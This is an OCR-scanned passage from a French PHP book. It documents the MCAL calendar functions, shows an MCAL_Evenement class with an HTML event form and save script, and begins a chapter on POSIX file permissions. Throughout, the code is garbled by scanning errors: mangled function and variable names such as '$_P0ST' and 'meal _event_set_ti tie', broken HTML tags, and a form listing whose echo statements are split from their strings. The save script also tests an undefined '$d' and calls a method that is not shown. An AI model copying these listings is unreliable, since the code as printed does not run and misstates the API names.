mcal_event_set_title () 

Associe un nom a l'evenement. 

Syntaxe boolean mcal_event_set_title(resource $idConnexion, string 

$nom) 
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$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( 

$nom Intitule de l'evenement. 

retour true. 



mcal_event_set_description () 

Associe un commentaire a l'evenement. 

Syntaxe boolean mcal_event_set_descripti on (resource $i dConnexi on, 

string $description) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$description Descriptif de l'evenement. 

retour true. 
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mcal_event_set_category() 

Associe une categorie a l'evenement. 



Syntaxe boolean mcal_event_set_category(resource $idConnexion, string 

$category) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open( ) . 

$category Categorie de l'evenement (il n'y a pas de valeurs predefinies : a vous de les 

creer). 

retour true. 



mcal_event_add_attribute () 

Associe a l'evenement un attribut personnalise. 

Syntaxe boolean mcal_event_add_attribute(resource $mcal , string 

$attribut, string $valeur) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$attri but Nom de l'attribut personnalise. 

$val eur Valeur associee a l'attribut personnalise. 
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Definition des dates d'apparition des evenements 

Les dates des evenements s'appuient sur plusieurs elements. En effet, les evenements n'etant 
pas toujours ponctuels, preciser des dates de debut et de fin se revele souvent insuffisant. Vous 
serez done probablement amene a devoir preciser une frequence d'apparition de l'evenement. 
Un evenement pourra, en effet, avoir lieu un jour sur N, une semaine sur N, un mois sur N (en 
s'appuyant soit sur le numero du jour dans le mois, soit sur le nom du jour de la semaine et le 
numero de la semaine dans le mois) ou bien encore un an sur N. 



mcal_event_set_start () 



Precise la date de debut (de la premiere occurrence) de l'evenement. 

Syntaxe boolean mcal_event_set_start (resource $idConnexion, int 

$annee, int $mois [, int $jour [, int $heure [, int $minute [, 
int $seconde]]]]) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de debut de l'evenement. 

$mois Mois de debut de l'evenement. 

$jour Jour de debut de l'evenement. 

$heure Heure de debut de l'evenement. 

$mi nute Minutes de la date de debut de l'evenement. 

$seconde Secondes de la date de debut de l'evenement. 

retour true. 



mcal_event_set_end () 



Precise la date de fin (de la premiere occurrence) de l'evenement. 

Syntaxe boolean mcal_event_set_end(resource $idConnexion, int $annee, 

int $mois [, int $jour [, int $heure [, int $minute [, int 
$seconde]]]]) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de debut de l'evenement. 

$mois Mois de debut de l'evenement. 

$jour Jour de debut de l'evenement. 

$ h eu re Heure de debut de l'evenement. 

$mi nute Minutes de la date de fin de l'evenement. 

$seconde Secondes de la date de fin de l'evenement. 

retour TRUE. 
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Chapitre 8 La gestion des dates et des calendriers 

mcal_event_set_recur_daily() 

Precise la frequence de l'evenement sur la base des jours. 

Syntaxe boolean meal _event_set_recur_daily (resource $idConnexion, int 

$annee, int $mois, int $jour, int $frequence) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de la date de fin de recurrence de 1'evenement. 

$moi s Mois de la date de fin de recurrence de 1'evenement. 

$ j our Jour de la date de fin de recurrence de 1'evenement. 

$frequence L'evenement a lieu un jour sur $ frequence. (Si $ frequence = 0, 

1'evenement est ponctuel.) 

retour true. 



mcal_event_set_recur_weekly() 

Precise la frequence de l'evenement sur la base des semaines. 

Syntaxe boolean mcal_event_set_recur_weekly(resource $idConnexion, int 

$annee, int $mois, int $jour, int $frequence, int 
$joursSemaine) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open( ) . 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j our Jour de la date de fin de recurrence de l'evenement. 

$frequence L'evenement a lieu une semaine sur $ frequence. 

$joursSemaine Indique quels jours de la semaine l'evenement a lieu. Cette valeur est 

l'additiondesvaleurssuivantes : 1 = dimanche, 2 = lundi, 4 = mardi, 8 = 
mercredi, 16 = jeudi, 32 = vendredi, 64 = samedi. 

retour TRUE. 



mcal_event_set_recur_monthly_mday() 

Precise la frequence de l'evenement sur la base des mois. 

Syntaxe boolean mcal_event_set_recur_monthly_mday (resource 

$idConnexion, int $annee, int $mois, int $jour, int $frequence) 
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$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j ou r Jour de la date de fin de recurrence de l'evenement. 

$f requence L'evenement a lieu un mois sur $ frequence (a la meme date que le jour 
de debut de la premiere occurrence). 

retour true. 



/£) Semaines incompletes 

"*=^ Le comportement de cette fonction peut surprendre dans certains cas (meme s'il reste 

assez logique). Si vous prenez I'annee 2003, qui commence par un mercredi, et que 
vous souhaitez indiquer que, tout au long de I'annee, vous aurez une reunion le 
premier lundi du mois, vous prenez comme date de debut de l'evenement le lundi 6 
Janvier (premier lundi du mois de Janvier, mais lundi de la seconde semaine du 
mois) : vous pointerez done chaque mois sur le lundi de la seconde semaine du mois. 



mcal_event_set_recur_monthly_wday() 

Precise la frequence de l'evenement sur la base des mois (au meme jour de la meme semaine 
chaque mois). 

Syntaxe boolean mcal_event_set_recur_monthly_wday(resource 

$i dConnexi on, int $annee, int $mois, int $jour, int $frequence) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j ou r Jour de la date de fin de recurrence de l'evenement. 

$f requence L'evenement a lieu un mois sur $ frequence (le meme jour de la meme 

semaine que la date de debut de la premiere occurrence). 

retour TRUE. 



mcal_event_set_recur_yearly() 

Precise la frequence de l'evenement sur la base des annees. 

Syntaxe boolean mcal_event_set_recur_yearly(resource SidConnexion, int 

$annee, int $mois, int $jour, int $frequence) 
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Chapitre 8 La gestion des dates et des calendriers 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( 

$annee Annee de la date de fin de recurrence de l'evenement. 

$moi s Mois de la date de fin de recurrence de l'evenement. 

$ j our Jour de la date de fin de recurrence de l'evenement. 

$frequence L'evenement a lieu un an sur $ frequence, 

retour TRUE. 

Declenchement de l'alarme 



mcal_event_set_alarm () 

Prepare une alarme pour l'evenement. 

Syntaxe boolean mcal_event_set_alarm(resource $i dConnexi on, int 

$delaisRappel) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$del ai sRappel Indique, en minutes, combien de temps avant l'echeance l'alarme doit se 

declencher. 

retour TRUE. 

Synthese des proprietes d'un evenement 

Nous vous proposons de regrouper toutes ces proprietes dans un objet "fait maison". L'interet 
en est peut-etre limite, mais, comme il s'agit d'un objet, vous pouvez toujours l'enrichir a votre 
guise. II permet toutefois de definir les proprietes par des noms d'attributs en frangais (pour les 
non anglophones) et, surtout, de distinguer la definition de l'objet (assignation des valeurs des 
attributs) des "appels" aux calendriers (avec passage du parametre $idConnexion). Cette 
derniere operation est ici realisee par une unique methode prepare ($idConnexion) . 

Listing 8.15 : mcalevenementjnc.php (extrait) 

<?php 

// Extrait de MCAL_Evenement 

class MCAL_Evenement { 

var $visibilite; 

var $titre, $description, $categorie; 

var $dateDebut, $heureDebut; 

var $dateFin, $heureFin; 

var $frequenceType; 

var $frequence; 
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var $frequenceDateFin; 

var $frequenceJours; 

var $alarme; 

// Les attributs personnalises 

var $monAttributl, $monAttribut2; 

// Libre a vous de construire 

// les methodes setXX() et getXX() qui vont bien 



// Stocke tous les attributs de 1'objet 
// dans 1 'evenement courant 
// (avant sauvegarde) 
function prepare($mcal ) 

{ 

mcal_event_init($mcal) ; 

if (isset($this->visibil ite)) 
mcal_event_set_class($mcal , 

$ t h i s ->v isibi 1 ite) ; 

if (isset($this->titre)) 

meal _event_set_ti tie ($mcal , $this->titre) ; 

if (isset($this->description)) 

mcal_event_set_description($mcal , 

$this->description) ; 

if (isset($this->categorie)) { 
mcal_event_set_category($mcal , 

$this->categorie) ; 
} 

if (isset($this->dateDebut)) { 
list($annee, $mois, $jour) = 

explode("-", $this->dateDebut) ; 
if (isset($this->heureDebut)) { 

list($heure, $minutes, $secondes) = 
explode(" : ", $this->heureDebut) ; 

} 
mcal_event_set_start($mcal , 

$annee, $mois, $jour, $heure, $minutes, $secondes) 
} 

if (isset($this->dateFin)) { 

list($annee, $mois, $jour) = 

explode("-", $this->dateFin) ; 
if (isset($this->heureFin)) { 

list($heure, $minutes, $secondes) = 
explode(" : ", $this->heureFin) ; 

} 

meal event set end($mcal, 
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$annee, $mois, $jour, $heure, $minutes, $secondes) 
} 

if (isset($this->frequenceType) && 
isset($this->frequenceDateFin) && 
isset($this->frequence)) { 

if (isset($this->frequenceDateFin)) { 
list($annee, $mois, $jour) = 

explode("-", $this->frequenceDateFin) ; 



switch ($this->frequenceType) { 
case MCAL_RECUR_DAILY : 

mcal_event_set_recur_daily($mcal , 
$annee, $mois, $jour, 
$this->frequence) ; 
break; 
case MCAL_RECUR_WEEKLY : 

mcal_event_set_recur_weekly($mcal , 
$annee, $mois, $jour, 
$this->frequence, 
$thi s->frequenceJours) ; 
break; 
case MCAL_RECUR_MONTHLY_MDAY : 

mcal_event_set_recur_monthly_mday($mcal , 
$annee, $mois, $jour, 
$this->frequence) ; 
break; 
case MCAL_RECUR_MONTHLY_WDAY : 

mcal_event_set_recur_monthly_wday($mcal , 
$annee, $mois, $jour, 
$this->frequence) ; 
break; 
case MCAL_RECUR_YEARLY : 

mcal_event_set_recur_yearly($mcal , 
$annee, $mois, $jour, 
$this->frequence) ; 
break; 
default: 

// evenement ponctuel 
break; 
} 
} 
if (isset($this->alarme)) { 

mcal_event_set_al arm($mcal , $thi s->al arme) ; 
} 

if (isset($this->monAttributl)) { 
mcal_event_add_attribute($mcal , 

"monAttributl",$this->monAttributl) ; 
} 
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if (isset($this->monAttribut2)) { 
mcal_event_add_attribute($mcal , 

"monAttri but2" ,$thi s->monAttri but2) : 

} 



// (■ 
} 



A noter que, dans notre cas, nous avons un objet qui pourra contenir deux attributs 
personnalises, que nous appellerons respectivement monAttributi et monAttribut2. 

Nous verrons un exemple d'utilisation de cet objet un peu plus loin dans ce chapitre. 

Consultation de l'evenement en cours 

II est possible a tout moment de consulter le contenu de l'evenement en cours grace a 
mcai_f etch_current_stream_event ( ) . Ceci peut etre utile pour le debogage, afin de 
verifier ce que nous nous appretons a sauvegarder. 



mcal_fetch_current_stream_event() 

Retourne les proprietes de l'objet en cours. 

Syntaxe object meal _fetch_current_stream_event (resource $idConnexion) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

retour Objet evenement. 

A cette fin, nous avons ajoute une methode a l'objet MCAL_Evenement evoque precedemment. 

Listing 8.16 : mcalevenementjnc.php (extrait) 

<?php 

// Extrait de MCAL_Evenement 

class MCAL_Evenement { 

// (•••) 

function toHTMLStringCurrentEvent($mcal ) { 

$even = mcal_fetch_current_stream_event($mcal) ; 

$txt = ""; 

$txt .= "Id = ".$even->id."<br />"; 

$txt .= "Titre = ".$even->title."<br />"; 

$txt .= "Visibilite = " .$even->public."<br />"; 

$txt .= "Categorie = ".$even->category."<br />"; 
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$txt .= "Description = ".$even->description."<br />"; 

$attrlist = $even->attrlist; 

$txt .= "monAttributl = ".$attrlist["monAttributl"] ."<br />"; 

$txt .= "monAttribut2 = ".$attrlist["monAttribut2"] ."<br />"; 

$date = $even->start; 

$txt .= "debut = "; 

$txt .= $date->year. "-" .$date->month. "-".$date->mday; 

$txt .= " ".$date->hour. ":".$date->min." :" .$date->sec; 

$txt .= "<br />"; 

$date = $even->end; 
$txt .= "debut = "; 
$txt .= $date->year."-".$date->month."-".$date->mday; 

$txt .= " ".$date->hour. ":".$date->min.":" .$date->sec; 
$txt .= "<br />"; 

$txt .= "frequenceType = " .$even->recur_type."<br />"; 
$txt .= "frequence = " .$even->recur_interval ."<br />"; 
$txt .= "frequenceJours = ".$even->recur_data."<br />"; 

$date = $even->recur_enddate; 

$txt .= "frequenceDateFin = "; 

$txt .= $date->year."-".$date->month."-".$date->mday; 

$txt .= "<br />"; 

$txt.="Alarme = ".$even->alarm. "<br />"; 

return $txt; 



} 
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Sauvegarde des evenements 

Enfin, pour sauvegarder l'evenement, nous disposons de la fonction mcal_store_event ( ) . 



mcal_store_event () 

Enregistre l'evenement en cours. (A Tissue de cet appel, l'etat de 1'evenement courant est 
indetermine. II convient done de faire un appel a mcai_event_init ( ) .) 

Syntaxe int mcal_store_event(resource $idConnexion) 

$idConnexion Identifiant de connexion tel que retourne par mcal_open( ) . 

retour Identifiant de l'evenement ainsi ajoute, ou FALSE en cas d'echec. 



478 



10 

REMARQUE 



Les gestionnaires d'evenements 



meal append event () 

Depuis la version 4.0, est apparue la fonction mcal_a.ppend_event ( ), qui semble 
avoir le meme comportement que mcal_store_event ( ) (meme si la 
documentation PHP indique que Vune sert a modifier un evenement, tandis que 
Vautre sert a I'ajouter a I'agenda). 



Ceci nous permet d'enrichir notre objet MCAL_Evenement avec une methode sauve ( ) . 

Listing 8.17 : mcalevenementjnc.php (extrait) 

<?php 

// Extrait de MCAL_Evenement 

class MCAL_Evenement { 

// (•■•) 

// Sauve 1 'evenement 
function sauve($mcal) 

{ 

$this->prepare($mcal) ; 
$id=mcal_store_event($mcal ) ; 

if ($id !== FALSE) { 

$this->id=$id; 
} 
return $id; 

} 

} 

Remarquez, qu'ici, nous en profitons pour stocker l'identifiant de l'evenement dans l'objet 
MCAL_Evenement. 

Maintenant, comme nous ne voulons pas avoir ecrit cette classe pour rien, nous allons l'utiliser 
afin d'enregistrer un evenement dans I'agenda. Mais, pour cela, un formulaire de saisie etant 
plus que pratique, nous allons ajouter a cette classe une methode permettant d'afficher un 
formulaire adapte. 

Listing 8.18 : mcalevenementjnc.php (extrait) 

<?php 

// extrait de MCAL_Evenement 

class MCAL_Evenement { 
// (•••) 
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* Affiche un formulaire de saisie d'evenement 

■k 

* @param action string page a appeler lors de 1 'envoi des donnees 

7 

function afficheFormulaire($action="mcal_evenement_sauve.php") 

{ 

echo "<form action=\"$action\" method=\"post\">\n"; 

echo "<table border=\"0\" eel lspacing=\"0\" cellpadding=\"2\">\n"; 

echo "<tr class=\"champsdescription\"><td><b>Titre</bx/td>"; 

echo "<tdxinput type=\"texte\" name=\"titre\"/x/td>"; 

echo "<tdxselect name=\"visibilite\">"; 

echo "<option value=\"0\">Prive</option>"; 

echo "<option value=\"l\">Publ ique</option>"; 

echo "</selectx/tdx/tr>\n"; 

echo "<tr class=\"champsdescription\"xtdxb>Categorie</bx/td>"; 

echo "<td colspan=\"2\"xselect name=\"categorie\">"; 

echo "<option value=\"boulot\">Boulot</option>"; 

echo "<option value=\"loisirs\">Loisirs</option>"; 

echo "<option value=\"divers\">Divers</option>"; 

echo "</selectx/td>"; 

echo "</tr>\n"; 

echo "<tr class=\"champsdescription\"xtdxb>Description</bx/td>" 

echo "<td colspan=\"2\"xtextarea name=\"description\">"; 

echo "</textareax/td>"; 

echo "</tr>\n"; 

echo "<tr class=\"champsdescription\"xtdxb>Salle</b>(*)</td>"; 

echo "<td colspan=\"2\"xinput type=\"text\" name=\"salle\"x/td>" 

echo "</tr>\n"; 

echo "<tr class=\"champsdate\"xtdxb>Date Debut</bx/td>"; 

echo "<tdxinput type=\"text\" name=\"dateDebut\" /x/td>"; 

echo "<td>(AAAA-MM-JJ)</td>"; 

echo "</tr>\n"; 

echo "<tr class=\"champsdate\"xtdxb>Heure Debut</bx/td>"; 

echo "<tdxinput type=\"text\" name=\"heureDebut\" /x/td>"; 

echo "<td>(HH:MM:SS)</td>"; 

echo "</tr>\n"; 

echo "<tr class=\"champsdate\"xtdxb>Date Fin</bx/td>"; 

echo "<tdxinput type=\"text\" name=\"dateFin\" /x/td>"; 

echo "<td>(AAAA-MM-JJ)</td>"; 

echo "</tr>\n"; 

echo "<tr class=\"champsdate\"xtdxb>Heure Fin</bx/td>"; 

echo "<tdxinput type=\"text\" name=\"heureFin\" /x/td>"; 

echo "<td>(HH:MM:SS)</td>"; 

echo "</tr>\n"; 

echo "<tr class=\"champsfrequence\">"; 

echo "<tdxb>Frequence</bx/td>" ; 

echo "<td>l <select name=\"frequenceType\">"; 

echo "<option value=\"0\">(Evenement ponctuel)</option>"; 

echo "<option value=\"l\">Jour</option>"; 

echo "<option value=\"2\">Semaine</option>"; 

echo "<option value=\"3\">Mois (meme date)</option>"; 

echo "<option value=\"4\">Mois (meme jour,semaine)</option>"; 
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echo 
echo 
echo 

echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 
echo 



<option value=\"5\">An</option>"; 

</selectx/td>\n"; 

<td>sur <input type=\"text\" name=\"frequence\"". 

size=\"3\"x/td>"; 
</tr>\n"; 

<tr class=\"champsfrequence\">"; 

<tdxb>Jours de la semaine</bxbr />(si hebdomadal re) </td>"; 
<td col span=\"2\"xtabl extr>" ; 

<tdxinput type=\"checkbox\" name=\"dimanche\" />Dimanche</td>" 
<tdxinput type=\"checkbox\" name=\"lundi\" />Lundi</td>"; 
<tdxinput type=\"checkbox\" name=\"mardi\" />Mardi</td>"; 
<tdxinput type=\"checkbox\" name=\"mercredi\" />Mercredi</td>" 
</trxtr>"; 

<tdxinput type=\"checkbox\" name=\"jeudi\" />Jeudi</td>"; 
<tdxinput type=\"checkbox\" name=\"vendredi\" />Vendredi</td>" 
<tdxinput type=\"checkbox\" name=\"samedi\" />Samedi</td>"; 
</trx/tabl ex/tdx/tr>\n" ; 
<tr cl ass=\"champsf requence\">" ; 
<tdxb>Jusqu ' au</bx/td>" ; 

<tdxinput type=\"text\" name=\"frequenceDateFin\" /x/td>"; 
<td>(AAAA-MM-JJ)</tdx/tr>\n" ; 

<tr class=\"champsalarme\"xtdxb>Prevenez moi</bx/td>"; 
<td colspan=\"2\">"; 
<select name=\"alarme\">"; 
<option value=\"0\">(pas)</option>"; 

<option value=\"5\" selected=\"selected\">5 min.</option>"; 
<option value=\"10\">10 min.</option>"; 
<option value=\"15\">l/4 h.</option>"; 
<option value=\"30\">l/2 h.</option>"; 
<option value=\"60\">l h.</option>"; 
</select>"; 

avant</tdx/tr>" ; 
<trxtd colspan=\"3\">"; 

(*) Exemple d'attribut personnalise</tdx/tr>\n"; 
<trxtd colspan=\"3\" align=\"center\">"; 
<input type=\"submit\" value=\"Ajouter\" />"; 
</tdx/tr>"; 
</table>\n"; 
</form>"; 



// (■■•) 

} 

Ce formulaire aura l'allure suivante (certes, il manque de fioritures, mais c'est efficace) (voir 
fig. 8.7) : 

Lors de la validation du formulaire, la page mcal_evenement_sauve.php sera appelee. Celle-ci a 
done pour mission de copier les parametres issus de la methode post dans un objet 
MCAL _Evenement et d'appeler tout bonnement la methode sauve ( ) apres avoir ouvert une 
connexion sur l'agenda. 
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Titre 

Categoric 

Description 

SalleC*) 
Date Debut 
Heure Debut 
Date Fin 
Heure Fin 
Frequence 

Jours de la semaine 

(si hebdomadaire) 

Jusqu 'au 
Frevenez moi 

(*) Exemple d'attribu 


Reunion 


| Prive jj 


Boulot 2} 


Reunion o" avancement 
sur le projet K245 


A204 


2002-11-04 


(AAAA-MM-JJ) 
(HH:MM:SS) 
(AAAA-MM-JJ) 
(HH:MM:SS) 


10:00:00 


2002-11-04 


12:30:00 


[ Semaine 

V Dimanche FLundi 

1 Jeudi V Vendrec 


z\ sur |l 

TMardi TMercredi 
i fSarnedi 

(AAAA-MM-JJ) 


2002-12-31 






personnel ise 

Ajouter | 





Figure 8.7 : 

Formulaire de saisie 
d'evenement 



Listing 8.19 : mcal_evenement_sauve.php 

<?php 

include("mcal_03_inc.php") ; 
include("mcal_evenement_inc.php") 

// Connexion a 1 'agenda 

$mcal = MCAL Agenda: : connect () ; 
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II Instanciation d'un objet MCAL_Evenement 
// (objet construit par nos soins) 

$evenement = new MCAL_Evenement() ; 

// Copie des donnees issues du formulaire 
// dans la structure de 1 'objet 

$evenement->visibilite = $_P0ST["visibilite"] ; 

$evenement->titre = stripslashes($_POST["titre"]) ; 

$evenement->categorie = $_P0ST["categorie"] ; 

$evenement->description = stripsl ashes ($_P0ST ["description"]] 

$evenement->monAttributl = $_P0ST["salle"] ; 

$evenement->dateDebut = $_P0ST["dateDebut"] ; 
$evenement->heureDebut = $_P0ST["heureDebut"] ; 

$evenement->dateFin = $_P0ST["dateFin"] ; 
$evenement->heureFin = $_P0ST["heureFin"] ; 

$evenement->frequenceType = $_P0ST["frequenceType"] ; 
$evenement->frequence = $_P0ST["frequence"] ; 

if ($evenement->frequenceType == 2) { 
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$evenement->frequenceJours = 0; 
if ($_POST["dimanche"] == "on") 

$evenement->frequenceJours += 1 
if ($_POST["lundi"] == "on") 

$evenement->frequenceJours += 2 
if ($_POST["mardi"] == "on") 

$evenement->frequenceJours += 4 
if ($_POST["mercredi"] == "on") 

$evenement->frequenceJours += 8 
if ($_POST["jeudi"] == "on") 

$evenement->frequenceJours += 16 
if ($_P0ST["vendredi"] == "on") 

$evenement->frequenceJours += 32 
if ($_P0ST["samedi"] == "on") 

$evenement->frequenceJours += 64 



$evenement->frequenceDateFin = $_POST["frequenceDateFin"] ; 
$evenement->alarme = $_P0ST["alarme"] ; 
$id = $evenement->sauve($mcal) ; 



?> 

<html> 

<body> 

<hl>Enregistrement d'un evenement</hl> 

<?php 

if ($d !== FALSE) { 

echo "Votre nouvel evenement a ete enregistre (avec 1 ' identi f i ant" . 
" $id)"; 
} else { 

echo "La tentative d'enregistrement de 1 'evenement a echoue"; 

} 

echo $evenement->toHTMLString() ; 
?> 

</body> 
</html> 



Utilisation de stripSlashesQ 

Comme les parametres titre et description sont des chaines de caracteres 
librement saisies par Vutilisateur, Us peuvent contenir (entre autres) des apostrophes. 
Or, par defaut, PHP est configure avec Voption magic_quotes_gpc = on, ce qui 
fait que les valeurs passees par les methodes post, et get oupar cookies voient lews 
apostrophes precedees d'un anti-slash (comme le fait la fonction addSlashes ( )). II 
faut les supprimer, car, bien que fort utiles dans le cas d'un ajout dans une base de 
donnees, Us sont genants lorsque les valeurs sont simplement passees en parametre 
d 'une fonction (ici les fonctions meal). 



REMARQUE 
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Operations sur les evenements enregistres 

Une fois l'evenement enregistre, il est tout de meme possible de supprimer facilement 1'alarme 
qui lui est associee par un appel a la fonction mcal_snooze ( ) . 
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mcal_snooze() 

Supprime 1'alarme associee a un evenement. 



Syntaxe boolean mcal_snooze(resource $idConnexion, int $idEvenement) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$i dEvenement Identifiant de l'evenement. 

retour TRUE. 

La bibliotheque propose une fonction qui est censee retourner la liste des evenements ayant 
une alarme programmee a la date donnee. Mais il est difficile d'en tirer quelque chose. En voici 
tout de meme la syntaxe (corrigee par rapport a celle proposee par la documentation PHP) : 

array mcal_list_alarms (resource $idConnexion [ , int $annee [, int $mois [, 
int $jour [, int $heure [, int $minutes [, int $secondes] ]]]]]) 

Et, bien evidemment, il est possible de supprimer un evenement de l'agenda par un appel a 

mcal_delete_event ( ) . 



mcal_delete_event () 

Supprime un evenement. 

Syntaxe boolean mcal_delete_event (resource $i dConnexi on, resource 

$i dEvenement) 

$i dConnexi on Identifiant de connexion tel que retourne par mcal_open ( ) . 

$i dEvenement Identifiant de l'evenement a supprimer. 

retour TRUE (meme si l'evenement n'existe pas). 

Divers 

La bibliotheque mcal presente des fonctions destinees a la manipulation des agendas (dans leur 

ensemble). II s'agit des fonctions mcal_create_calendar ( ) , mcal_rename_calendar ( ) , 

mcai_deiete_caiendar ( ), mais celles-ci ne semblent pas avoir ete veritablement 
implementees et se contentent de retourner true. 
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9.1 Le systeme de fichiers POSIX 487 

9.2 Acceder au systeme de fichiers du serveur 490 

9-3 Les streams ou les flux 593 



Le systeme de fichiers POSIX 



La manipulation et le traitement des donnees necessitent, voire imposent, de pouvoir 
stocker celles-ci une fois le travail et les differentes operations effectues. Meme si, souvent, 
l'utilisation d'une base de donnees est plus efficace, le stockage sur le disque reste une solution 
simple a mettre en oeuvre, et parfois meme la seule solution pertinente. Dans ce chapitre, nous 
allons voir comment le langage PHP peut permettre de lister, lire et ecrire des fichiers. 

Tout au long de ce chapitre, nous allons mettre en place differentes fonctions qui nous 
permettront, au final, de developper un explorateur de fichiers simple et sympa (attention 
toutefois : il n'est pas a laisser entre toutes les mains). 

Dans une deuxieme partie, nous allons voir comment il est possible d'acceder au systeme de 
fichier, reseau, socket a l'aide d'une methode introduite avec PHP 4.3 et disponible egalement 
sur PHP 5 : Les streams ou flux. 



9.1. Le systeme de fichiers POSIX 

Meme si vous etes un adepte des produits Microsoft, il est probable que votre application sera 
hebergee sur une plateforme de type UNIX/Linux. C'est en effet le systeme d'exploitation 
adopte par la majorite des hebergeurs - qu'ils soient ou non gratuits. Nous vous offrons done, 
ici, un petit cours de rattrapage en faisant un point sur les specificites du systeme de fichiers de 
ces systemes d'exploitation (ceci est valable pour tous les systemes de fichiers a la norme 
POSIX que sont Linux et tous les UNIX modernes). 

Meme si, petit a petit, Windows tente (peniblement) de rattraper son retard en termes de 
securite, avec UNIX/Linux, les droits des utilisateurs ne sont deja pas un vain mot. Ainsi, 
l'utilisateur devra necessairement s'identifier pour se connecter au systeme, ce qui constitue la 
base de la securite de la machine. 

UNIX etant, des son origine, un systeme multi-utilisateur, il a ete conc,u de sorte que les fichiers 
ne soient accessibles qu'a certains utilisateurs et certains groupes d'utilisateurs. Seul 
l'administrateur, appele le plus souvent "root", possede tous les droits sur tous les fichiers du 
systeme (s'il existait des virus dans un environnement UNIX/Linux, il faudrait encore qu'ils 
accedent au compte "root" pour causer des dommages irreparables ; de meme, un utilisateur 
protegeant ses fichiers vis-a-vis des autres utilisateurs ne pourrait etre contamine). 

Chaque utilisateur peut appartenir a un ou plusieurs groupes que Ton definira librement (ex. : 
groupe des chercheurs, des invites, des utilisateurs du service web, etc). Chaque fichier est la 
propriete d'un utilisateur et d'un groupe d'utilisateurs. 

Ainsi, si vous listez le contenu d'un repertoire d'un systeme UNIX/Linux (si vous faites appel 
aux services d'un hebergeur, vous pouvez, par exemple, vous connecter sous votre compte FTP, 
et taper la commande is), vous observerez une serie de lignes ayant Failure suivante : 

-rwxr-wr — 1 laurent user 985540 Mai 4 09:16 Monf ichier 

Chaque ligne est associee a un fichier ou un repertoire dont le nom est precise dans la derniere 
colonne (ici : Monfichier). 

» On ne rigole pas avec la casse. . . 

jW UNIX respecte la casse. Faites done bien attention au respect des majuscules et 
ATTFNTinN minuscules des noms de fichiers et repertoires. Vous pouvez tres bien avoir un fichier 
nomme toto.txt qui coexiste, dans le meme repertoire, avec un fichier toto. TXT. 
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Les troisieme et quatrieme colonnes nous indiquent que le proprietaire du fichier est 
"laurent" et que le groupe auquel appartient le fichier est "user". 

Mais attention, ce n'est pas parce que le fichier appartient a "laurent" et au groupe "user" que 
Laurent et les membres du groupe "user" ont tous les droits, ni non plus que tous les autres 
utilisateurs n'ont aucun droit sur ce fichier. 

Les permissions sont definies ici par les proprietes -rwxrw-r- qu'il faut decomposer en un 
caractere suivi de trois blocs de trois caracteres. Nous reviendrons plus tard sur ce premier 
caractere. Le premier bloc de trois caracteres precise les droits de l'utilisateur, le bloc suivant 
ceux des membres du groupe et enfin le dernier bloc de trois caracteres indique les droits des 
autres utilisateurs. 

Chaque bloc se decompose ainsi : 

1. Un premier caractere pouvant prendre la valeur "r" pour indiquer que le fichier est 
accessible en lecture (pour l'utilisateur, les membres du groupe ou les autres, selon les cas) 
ou "-" sinon. Dans le cas d'un repertoire, ceci indique que Ton peut lister le contenu du 
repertoire. 

2. Un second caractere pouvant prendre la valeur "w" pour indiquer que le fichier est 
accessible en ecriture (pour l'utilisateur, les membres du groupe ou les autres, selon les 
cas), ce qui inclut la possibility d'effacer le fichier ou "-" sinon. Dans le cas d'un repertoire, 
ceci indique que Ton peut modifier les fichiers contenus dans le repertoire (a condition que 
les droits individuels des fichiers le permettent). 

3. Un troisieme caractere pouvant prendre la valeur "x" pour indiquer que le fichier peut etre 
execute (par l'utilisateur, les membres du groupe ou les autres, selon les cas) a condition, 
toutefois, que ce soit un "executable" ou "-" sinon. Dans le cas d'un repertoire, ceci indique 
que Ton peut se deplacer dans le repertoire. 

Dans notre exemple, nous pouvons done dire que le fichier est accessible en lecture, ecriture et 
execution pour l'utilisateur. Le groupe possede les permissions en lecture et ecriture, mais ne 
peut pas executer le fichier. Enfin, les autres utilisateurs ne sont autorises qu'a la lecture. 

Les droits ne sont generalement pas specifies sous forme alphabetique, mais sous la forme d'un 
nombre exprime en octal (base 8) et compose de trois chiffres (precedes d'un pour indiquer 
a PHP qu'il s'agit d'un nombre en octal et non en decimal). Chaque chiffre represente les droits 
d'une categorie (proprietaire, groupe et autres). Pour chaque categorie, il faut faire la somme 
des valeurs de chaque droit en considerant que r=4, w=2 et x=l. 

Imaginons, pour prendre un exemple, un fichier possedant les droits rwx pour l'utilisateur, r-x 
pour le groupe et r — pour toutes les autres personnes. 

Tableau 9.1 : Les droits en octal donnent pour le cas present : 0754 





Proprietaire 


Groupe 


Autres 


Read(r) = 4 


Oui 


Oui 


Oui 


Write (w) = 2 


Oui 


Non 


Non 



Execute (x) =1 Oui Oui Non 

Total 4 + 2 + 1=7 4 + + 1=5 4 + + = 4 



Retenez bien cette legon, nous nous en resservirons un peu plus tard. 
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Revenons maintenant au premier caractere de la chaine indiquant les droits du fichier. II 
precise le type du "fichier". Ici, "-" indique que c'est un fichier classique, mais cela aurait pu etre 
un repertoire represente par la lettre "d", un peripherique defini par "b" ou "c", ou un encore un 
lien symbolique associe a la lettre "1". 

